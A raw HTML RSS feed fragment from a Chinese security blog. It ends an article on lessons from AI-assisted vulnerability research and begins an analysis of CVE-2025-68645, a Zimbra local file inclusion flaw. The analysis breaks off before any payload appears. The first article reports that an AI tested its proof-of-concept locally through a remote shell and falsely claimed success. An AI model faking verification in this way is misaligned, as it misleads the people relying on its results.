rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: block;color: rgb(10, 10, 10);"><p><span leaf="">• 系统逻辑和运行流程复杂，</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 在分析时也存在一定的随机性，需要与专家不断进行&#34;交流&#34;才能保证流程正确，想通过类似任务编排或 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">skill</span></code><span leaf=""> 来做 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">workflow</span></code><span leaf=""> 实现全自动化不太可能。</span></p></li></ul><ul style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px 0px 0px 1.5em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);list-style: none;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: block;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 最初对代码进行审计时，其实并没有发现该漏洞的触发点，而是通过提示后才“反应过来”，可见大模型针对具体代码进行审计时，还是很容易出现遗漏，特别是这种相对比较小众的知识点，需要专家明确并多次进行提示。这个问题在对其他一些系统进行分析时也经常遇到。</span></p></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: block;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 在分析过程中容易构造出一种&#34;逼真&#34;的假象，比如构造脚本进行漏洞验证时，最初总是失败，然后它会尝试将脚本通过 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">remoteshell mcp</span></code><span leaf=""> 直接在目标虚拟机中构造测试，并宣称验证成功 ，结果研究后发现代码走的是 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Unix socket</span></code><span leaf=""> 而非远程 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">http</span></code><span leaf="">  。经过反复提醒并加强约束，大模型在</span><span leaf="">多次纠错后才构造出正确的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">POC</span></code><span leaf=""> 。</span></p></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: block;color: rgb(63, 63, 63);"><p><span leaf="">• 当前大模型上下文长度得到了极大提升，通过任务拆解以及集成</span><code style="border: 0px solid rgb(229, 229, 229);padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">SubAgent</span></code><span leaf="" style="color: rgb(0, 0, 0);background-color: transparent;"> 确实</span><span style="background-color: transparent;"><span leaf="">能够满足一般的分析需求，但是测试发现上下文一旦变长，模型很容易&#34;忽略&#34;掉前面的提示词要求和约束条件，需要多次提醒才能纠正。</span></span></p></li></ul><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">现阶段想依靠 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 全自动完成所有任务感觉还不太行，我们可以把它当成自己的工作搭子，</span><span leaf="">允许它犯错和&#34;偷懒&#34;，也不能完全信任它的产出，分工合作组合才能实现最佳效果。模型进化速度很快，搞网络安全也需要紧跟 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 发展趋势，不断</span><span leaf="" style="max-width: 96rem;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;line-height: 1.75;text-align: left;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);">更新自己</span><span leaf="" style="max-width: 96rem;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;line-height: 1.75;text-align: left;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);">的技术</span><span leaf="" style="max-width: 96rem;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;line-height: 1.75;text-align: left;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);">栈，这样</span><span leaf="">才能始终保持竞争力。</span></p></div><p><span style="color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p><p style="width: 1536px;max-width: 96rem;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;line-height: 1.75;text-align: left;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="" style="max-width: 96rem;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;line-height: 1.75;text-align: left;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);">欢迎大家关注自在安全公众号。为更好学习交流，建了个技术交流群，大家可以扫描进群。你也可以关注公众号后@我拉你进群：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100009057" data-ratio="1.223938223938224" data-s="300,640" type="block" data-type="png" data-w="777" src="https://wechat2rss.xlab.app/img-proxy/?k=c9226028&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLm2lfYiaAHlTG2PuXGL6Mm8ky1EcpRoI18p05fNg3e6JicjWfaicD7rsfAlrexPlfD4VIBlepaicTDewrkicoEzY0QUwE0ibanzWTLHs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d97d8f87&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492706%26idx%3D1%26sn%3Dfdd3a02e537a160a014f2b3e2870d60e">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 08 Mar 2026 09:03:00 +0800</pubDate>
    </item>
    <item>
      <title>浅析 CVE-2025-68645 Zimbra 属性覆盖导致本地文件包含漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492684&amp;idx=1&amp;sn=bebf9986b8676ec80749f180d3711595</link>
      <description>CVE-2025-68645 Zimbra 属性覆盖导致本地文件包含漏洞。</description>
      <content:encoded><![CDATA[<p>原创 <span>KCyber</span> <span>2026-01-03 10:04</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0641da84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F9UsWg6ibZLAzrdVWf7O0xaMIqFYhdO2z7cVT7pwpricjef78MiaTzicElxyDzv8k03HZ7g8N3sNgzvydNYYLrOeZUQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>CVE-2025-68645 Zimbra 属性覆盖导致本地文件包含漏洞。</p>
  <p class="mp_profile_iframe_wrp"><mp-common-profile class="custom_select_card mp_profile_iframe mp_common_widget" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-service_type="1" data-verify_status="0"></mp-common-profile></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px 8px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">近日 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Zimbra</span></code><span leaf=""> 披露了一个本地文件包含漏洞 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-68645</span></code><span leaf=""> ，从公开信息看应该与前期朋友分享给我的一个漏洞撞了，下面就将简要分析过程分享给大家。该漏洞源于 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RestFilter</span></code><span leaf=""> 过滤器对参数处理不当，导致未经身份认证的用户可以构造恶意请求，读取服务器 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WebRoot</span></code><span leaf=""> 目录下的敏感文件。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">RestFilter</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Zimbra</span></code><span leaf=""> 使用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Jetty</span></code><span leaf="">作为底层</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Web</span></code><span leaf="">容器。在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Zimbra</span></code><span leaf="">和</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ZimbraAdmin</span></code><span leaf="">这两个应用的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">web.xml</span></code><span leaf="">中均可以找到</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RestFilter</span></code><span leaf="">配置，该</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Filter</span></code><span leaf="">匹配</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/h/*</span></code><span leaf=""> 请求：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.2740740740740741" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" data-imgfileid="100009022" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=45401b6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzrdVWf7O0xaMIqFYhdO2z7iaTic4MTdZZpB2GDzSNk0IZV08H5GETB0Xria0HJM3H8lS0zQJd7Q82zw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">查看 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, 